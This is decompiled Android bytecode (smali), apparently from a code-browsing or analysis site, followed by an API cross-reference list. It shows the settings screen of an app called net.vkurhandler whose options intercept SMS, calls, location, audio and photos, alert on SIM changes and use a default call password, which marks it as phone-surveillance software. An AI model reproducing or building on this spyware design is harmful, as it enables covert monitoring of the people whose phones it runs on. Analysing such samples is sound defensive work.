                    487invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getPackageManager()Landroid/content/pm/PackageManager;
                    488move-result-object v0
                    490invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getPackageName()Ljava/lang/String;
                    491move-result-object v1
                    492const/4 v2, 0x0
                    494invoke-virtual {v0, v1, v2}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
                    495move-result-object v0
                    497iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->J:Landroid/widget/TextView;
                    498new-instance v2, Ljava/lang/StringBuilder;
                    500const-string v3, "Version:"
                    502invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    504iget-object v3, v0, Landroid/content/pm/PackageInfo;->versionName:Ljava/lang/String;
                    506invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    507move-result-object v2
                    509const-string v3, "("
                    511invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    512move-result-object v2
                    513iget v0, v0, Landroid/content/pm/PackageInfo;->versionCode:I
                    515invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    516move-result-object v0
                    518const-string v2, ")"
                    520invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    521move-result-object v0
                    523invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    524move-result-object v0
                    526invoke-virtual {v1, v0}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                    527try_end_352: const v0, 0x7f0a00a9
                    529invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    530move-result-object v0
                    531check-cast v0, Landroid/widget/TextView;
                    532iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->I:Landroid/widget/TextView;
                    533const v0, 0x7f0a00ab
                    535invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    536move-result-object v0
                    537check-cast v0, Landroid/widget/TextView;
                    538iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->q:Landroid/widget/TextView;
                    539const v0, 0x7f0a00ac
                    541invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    542move-result-object v0
                    543check-cast v0, Landroid/widget/TextView;
                    544iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->r:Landroid/widget/TextView;
                    545const v0, 0x7f0a00ad
                    547invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    548move-result-object v0
                    549check-cast v0, Landroid/widget/Button;
                    550iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->L:Landroid/widget/Button;
                    551const v0, 0x7f0a00f7
                    553invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    554move-result-object v0
                    555check-cast v0, Landroid/widget/Button;
                    556iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->N:Landroid/widget/Button;
                    557const v0, 0x7f0a00d5
                    559invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    560move-result-object v0
                    561check-cast v0, Landroid/widget/TextView;
                    562iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->y:Landroid/widget/TextView;
                    563const v0, 0x7f0a00af
                    565invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    566move-result-object v0
                    567check-cast v0, Landroid/widget/TextView;
                    568iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->s:Landroid/widget/TextView;
                    569const v0, 0x7f0a00b5
                    571invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    572move-result-object v0
                    573check-cast v0, Landroid/widget/TextView;
                    574iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->t:Landroid/widget/TextView;
                    575const v0, 0x7f0a00b6
                    577invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    578move-result-object v0
                    579check-cast v0, Landroid/widget/EditText;
                    580iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->U:Landroid/widget/EditText;
                    581const v0, 0x7f0a00b8
                    583invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    584move-result-object v0
                    585check-cast v0, Landroid/widget/EditText;
                    586iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->V:Landroid/widget/EditText;
                    588iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->U:Landroid/widget/EditText;
                    590iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    592const-string v2, "sim_checker_1"
                    594const-string v3, ""
                    596invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    597move-result-object v1
                    599invoke-virtual {v0, v1}, Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
                    601iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->V:Landroid/widget/EditText;
                    603iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    605const-string v2, "sim_checker_2"
                    607const-string v3, ""
                    609invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    610move-result-object v1
                    612invoke-virtual {v0, v1}, Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
                    614iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->W:Landroid/widget/EditText;
                    616iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    618const-string v2, "call_password"
                    620const-string v3, "3454"
                    622invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    623move-result-object v1
                    625invoke-virtual {v0, v1}, Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
                    626new-instance v0, Landroid/widget/ArrayAdapter;
                    628invoke-virtual {p0}, Lnet/vkurhandler/SettingsActivity;->getApplicationContext()Landroid/content/Context;
                    629move-result-object v1
                    630const v2, 0x1090008
                    632invoke-direct {v0, v1, v2}, Landroid/widget/ArrayAdapter;-><init>(Landroid/content/Context;I)V
                    633iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ax:Landroid/widget/ArrayAdapter;
                    635iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ax:Landroid/widget/ArrayAdapter;
                    636const v1, 0x1090009
                    638invoke-virtual {v0, v1}, Landroid/widget/ArrayAdapter;->setDropDownViewResource(I)V
                    640iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->h:Landroid/widget/Spinner;
                    642iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->ax:Landroid/widget/ArrayAdapter;
                    644invoke-virtual {v0, v1}, Landroid/widget/Spinner;->setAdapter(Landroid/widget/SpinnerAdapter;)V
                    646iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->h:Landroid/widget/Spinner;
                    647new-instance v1, Lnet/vkurhandler/ey;
                    649invoke-direct {v1, p0}, Lnet/vkurhandler/ey;-><init>(Lnet/vkurhandler/SettingsActivity;)V
                    651invoke-virtual {v0, v1}, Landroid/widget/Spinner;->setOnItemSelectedListener(Landroid/widget/AdapterView$OnItemSelectedListener;)V
                    653iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ac:Landroid/widget/CheckBox;
                    654new-instance v1, Lnet/vkurhandler/fs;
                    656const-string v2, "change_sim_send_email"
                    658invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/fs;-><init>(Lnet/vkurhandler/SettingsActivity;Ljava/lang/String;Lnet/vkurhandler/fs;)V
                    660invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    662iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ac:Landroid/widget/CheckBox;
                    664iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    666const-string v2, "change_sim_send_email"
                    668invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    669move-result v1
                    671invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    673iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->at:Landroid/widget/CheckBox;
                    674new-instance v1, Lnet/vkurhandler/fs;
                    676const-string v2, "change_sim_send_sms"
                    678invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/fs;-><init>(Lnet/vkurhandler/SettingsActivity;Ljava/lang/String;Lnet/vkurhandler/fs;)V
                    680invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    682iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->at:Landroid/widget/CheckBox;
                    684iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    686const-string v2, "change_sim_send_sms"
                    688invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    689move-result v1
                    691invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    693iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->au:Landroid/widget/CheckBox;
                    694new-instance v1, Lnet/vkurhandler/fs;
                    696const-string v2, "make_photo_on_failed_unlock"
                    698invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/fs;-><init>(Lnet/vkurhandler/SettingsActivity;Ljava/lang/String;Lnet/vkurhandler/fs;)V
                    700invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    702iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->au:Landroid/widget/CheckBox;
                    704iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    706const-string v2, "make_photo_on_failed_unlock"
                    708invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    709move-result v1
                    711invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    713iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->av:Landroid/widget/CheckBox;
                    714new-instance v1, Lnet/vkurhandler/fs;
                    716const-string v2, "add_del_app"
                    718invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/fs;-><init>(Lnet/vkurhandler/SettingsActivity;Ljava/lang/String;Lnet/vkurhandler/fs;)V
                    720invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    722iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->av:Landroid/widget/CheckBox;
                    724iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    726const-string v2, "add_del_app"
                    728invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    729move-result v1
                    731invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    733iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ad:Landroid/widget/CheckBox;
                    734new-instance v1, Lnet/vkurhandler/fs;
                    736const-string v2, "transmit_sms"
                    738invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/fs;-><init>(Lnet/vkurhandler/SettingsActivity;Ljava/lang/String;Lnet/vkurhandler/fs;)V
                    740invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    742iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ad:Landroid/widget/CheckBox;
                    744iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    746const-string v2, "transmit_sms"
                    748invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    749move-result v1
                    751invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    753iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->an:Landroid/widget/CheckBox;
                    754new-instance v1, Lnet/vkurhandler/fs;
                    756const-string v2, "send_on_change_sim"
                    758invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/fs;-><init>(Lnet/vkurhandler/SettingsActivity;Ljava/lang/String;Lnet/vkurhandler/fs;)V
                    760invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    762iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->an:Landroid/widget/CheckBox;
                    764iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    766const-string v2, "send_on_change_sim"
                    768invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    769move-result v1
                    771invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    773iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ae:Landroid/widget/CheckBox;
                    774new-instance v1, Lnet/vkurhandler/fs;
                    776const-string v2, "transmit_calls"
                    778invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/fs;-><init>(Lnet/vkurhandler/SettingsActivity;Ljava/lang/String;Lnet/vkurhandler/fs;)V
                    780invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    782iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ae:Landroid/widget/CheckBox;
                    784iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    786const-string v2, "transmit_calls"
                    788invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    789move-result v1
                    791invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    793iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->af:Landroid/widget/CheckBox;
                    794new-instance v1, Lnet/vkurhandler/fs;
                    796const-string v2, "transmit_location"
                    798invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/fs;-><init>(Lnet/vkurhandler/SettingsActivity;Ljava/lang/String;Lnet/vkurhandler/fs;)V
                    800invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    802iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    804const-string v1, "transmit_location"
                    806invoke-interface {v0, v1, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    807move-result v0
                    809iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->j:Landroid/widget/Spinner;
                    811invoke-virtual {v1, v0}, Landroid/widget/Spinner;->setEnabled(Z)V
                    813iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->af:Landroid/widget/CheckBox;
                    815invoke-virtual {v1, v0}, Landroid/widget/CheckBox;->setChecked(Z)V
                    817iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->aj:Landroid/widget/CheckBox;
                    818new-instance v1, Lnet/vkurhandler/fs;
                    820const-string v2, "interception_photo"
                    822invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/fs;-><init>(Lnet/vkurhandler/SettingsActivity;Ljava/lang/String;Lnet/vkurhandler/fs;)V
                    824invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    826iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->aj:Landroid/widget/CheckBox;
                    828iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    830const-string v2, "interception_photo"
                    832invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    833move-result v1
                    835invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    837iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ak:Landroid/widget/CheckBox;
                    838new-instance v1, Lnet/vkurhandler/fs;
                    840const-string v2, "interception_audio"
                    842invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/fs;-><init>(Lnet/vkurhandler/SettingsActivity;Ljava/lang/String;Lnet/vkurhandler/fs;)V
                    844invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    846iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ak:Landroid/widget/CheckBox;
                    848iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    850const-string v2, "interception_audio"
                    852invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    853move-result v1
                    855invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    857iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->al:Landroid/widget/CheckBox;
                    858new-instance v1, Lnet/vkurhandler/fs;
                    860const-string v2, "sms_reply"
                    862invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/fs;-><init>(Lnet/vkurhandler/SettingsActivity;Ljava/lang/String;Lnet/vkurhandler/fs;)V
                    864invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    866iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->al:Landroid/widget/CheckBox;
                    868iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    870const-string v2, "sms_reply"
                    872invoke-interface {v1, v2, v6}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    873move-result v1
                    875invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    877iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->c:Lnet/vkurhandler/bg;
                    879invoke-virtual {v0}, Lnet/vkurhandler/bg;->a()I
                    880move-result v0
                    882invoke-direct {p0, v0}, Lnet/vkurhandler/SettingsActivity;->a(I)V
                    883return-void
                    884catch_536: move-exception v0
                    886const-string v1, "SettingsActivity"
                    888invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    890iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->J:Landroid/widget/TextView;
                    892const-string v1, "Version: GENERAL_ERROR"
                    894invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                    895goto/16 :goto_352
                    Cross References
                    APIs
                    • android.app.ProgressDialog.<init>
                    • net.vkurhandler.SettingsRootActivity.G:Landroid/app/ProgressDialog
                    • android.app.ProgressDialog.setProgressStyle
                    • net.vkurhandler.SettingsRootActivity.G:Landroid/app/ProgressDialog
                    • net.vkurhandler.SettingsRootActivity.getString
                    • android.app.ProgressDialog.setMessage
                    • net.vkurhandler.SettingsRootActivity.G:Landroid/app/ProgressDialog
                    • android.app.ProgressDialog.setIndeterminate
                    • net.vkurhandler.SettingsRootActivity.G:Landroid/app/ProgressDialog
                    • android.app.ProgressDialog.setCancelable
                    • net.vkurhandler.SettingsRootActivity.G:Landroid/app/ProgressDialog
                    • android.app.ProgressDialog.setCanceledOnTouchOutside
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.d:Landroid/widget/Spinner
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • android.widget.Spinner.setSelection
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.t:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.t:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.j:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.j:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.k:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.k:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.l:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.l:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.B:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.B:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.z:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.z:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.A:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.A:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.m:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.m:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.o:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.o:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.q:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.q:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.r:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.r:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.s:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.s:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.u:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.u:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.x:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.x:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.C:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.C:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.E:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.E:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.w:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.w:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.v:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.v:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.y:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.y:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.D:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.D:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.F:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsRootActivity.F:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsRootActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.findViewById
                    • net.vkurhandler.SettingsRootActivity.e:Landroid/widget/Button
